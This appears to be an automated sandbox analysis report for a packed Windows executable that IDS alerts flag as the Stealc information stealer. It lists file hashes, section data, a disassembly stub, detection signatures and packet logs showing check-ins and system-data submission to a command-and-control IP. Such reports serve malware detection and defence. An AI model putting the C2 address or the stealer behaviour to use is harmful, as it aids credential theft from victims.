Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9600392199596826
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'161'152 bytes
MD5:	943ef4ceee0552b2a23e7f50163c16a0
SHA1:	108869e2d6f5298b80ffcda8a708d63bff02fb4a
SHA256:	50c5eb159c1df9e3627a2dc270297d65e759fba62e4c6081619365357f188aac
SHA512:	0d4c2091ba41cf6aab0e376212694920b6b784f9835a2bfc0d8d0229c74d085615a83e772765ff2ec7f637264e61706d5d276feb4b4f40a8117e6c523203c9fc
SSDEEP:	49152:58VIWqAyU/KinXQJvMmWGupmgalt8DwsiXKml2mpj2a+w93:8IuB/KiXAvMmWdAlqEImbfj93
TLSH:	C4A533F16C1698C6D4A4E03A7E2B3564834BC16B8DFDB7DE0E4967185D0AA69F8C4F30
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xb3c000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F60C0BDF11Ah
psubusb mm4, qword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	67d91b07a2ba5eecbfd5b3070dad8b97	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x2ac000	0x200	1f629878e8225b2a5675349bb9c071e2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fcyxulxu	0x596000	0x1a5000	0x1a4a00	0c5230839ebeede20b9aae67a59c913e	False	0.995107030089153	data	7.954869517390772	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
umqfzdml	0x73b000	0x1000	0x400	6dc5cdffcad3e3c398edcce44fcfd4df	False	0.7822265625	data	6.297640999776619	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x73c000	0x3000	0x2200	40fda70be6e4c1b809ef7af1c25120a7	False	0.006433823529411764	DOS executable (COM)	0.01934167681976598	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-01T03:45:06.586262+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-01T03:45:06.879765+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-01T03:45:06.887093+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-11-01T03:45:07.174144+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-01T03:45:07.188715+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-11-01T03:45:08.763012+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-01T03:45:09.719644+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-01T03:45:23.366136+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.4	49750	TCP
2024-11-01T03:45:27.378454+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49756	185.215.113.206	80	TCP
2024-11-01T03:45:30.220432+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49756	185.215.113.206	80	TCP
2024-11-01T03:45:31.954422+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49756	185.215.113.206	80	TCP
2024-11-01T03:45:32.947229+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49756	185.215.113.206	80	TCP
2024-11-01T03:45:36.067887+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49756	185.215.113.206	80	TCP
2024-11-01T03:45:36.858068+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49756	185.215.113.206	80	TCP
2024-11-01T03:46:02.569649+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	172.202.163.200	443	192.168.2.4	49783	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 1, 2024 03:45:05.233920097 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:05.239192963 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:05.239295006 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:05.239502907 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:05.244282007 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:06.178685904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:06.179919004 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:06.280311108 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:06.285250902 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:06.586179018 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:06.586261988 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:06.587869883 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:06.593245983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:06.879699945 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:06.879765034 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:06.880323887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:06.880369902 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:06.882268906 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:06.887093067 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:07.173990011 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:07.174097061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:07.174110889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:07.174144030 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:07.174184084 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:07.174711943 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:07.174724102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:07.174758911 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:07.174792051 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:07.175381899 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:07.175395966 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:07.175410032 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:07.175431967 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:07.175467968 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:07.183991909 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:07.188714981 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:07.475029945 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:07.475094080 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:07.529272079 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:07.529385090 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:07.534096003 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:07.534280062 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:07.534292936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:07.534346104 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:07.534356117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:07.534425974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:07.534435034 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:08.006694078 CET	49675	443	192.168.2.4	173.222.162.32
Nov 1, 2024 03:45:08.762855053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:08.762938023 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:08.763011932 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:08.763946056 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:08.764003038 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.430339098 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.435208082 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.719590902 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.719644070 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.719791889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.719803095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.719842911 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.720161915 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.720208883 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.720467091 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.720479012 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.720529079 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.721055031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.721096992 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.721252918 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.721266031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.721298933 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.721318007 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.721967936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.721980095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.722013950 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.722035885 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.722606897 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.722619057 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.722647905 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.722668886 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.881306887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.881380081 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.881419897 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.881467104 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.881477118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.881515980 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.881793976 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.881839991 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.881874084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.881913900 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.882210970 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.882224083 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.882257938 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.882276058 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.882882118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.882929087 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.882967949 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.883009911 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.883330107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.883339882 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.883372068 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.883383036 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.884001017 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.884015083 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.884049892 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.884061098 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.884479046 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.884489059 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.884524107 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.884535074 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.885135889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.885152102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.885185003 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.885196924 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.885858059 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.885869980 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.885919094 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:09.886516094 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.886527061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:09.886568069 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.003175974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.003228903 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.003283978 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.003325939 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.003345966 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.003392935 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.003694057 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.003705025 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.003712893 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.003741980 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.003753901 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.043139935 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.043189049 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.043257952 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.043303967 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.043395996 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.043442011 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.043709993 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.043720007 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.043759108 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.044351101 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.044368029 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.044399023 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.044717073 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.044727087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.044766903 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.045401096 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.045413017 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.045420885 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.045445919 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.045456886 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.046076059 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.046086073 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.046124935 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.046124935 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.046498060 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.046506882 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.046541929 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.124907970 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.124955893 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.125086069 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.125097036 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.125138044 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.125500917 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.125549078 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.125833988 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.125844002 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.125888109 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.165039062 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.165115118 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.165225983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.165237904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.165276051 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.165846109 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.165858030 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.165908098 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.166379929 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.166390896 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.166434050 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.167001963 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.167013884 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.167062044 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.167714119 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.167726994 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.167737961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.167764902 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.167784929 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.168400049 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.168411970 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.168452024 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.169050932 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.169064045 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.169105053 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.246764898 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.246848106 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.246898890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.246912003 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.246953011 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.247359037 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.247370005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.247411966 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.247942924 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.247993946 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:10.287493944 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:10.287554026 CET	49730	80	192.168.2.4	185.215.113.206
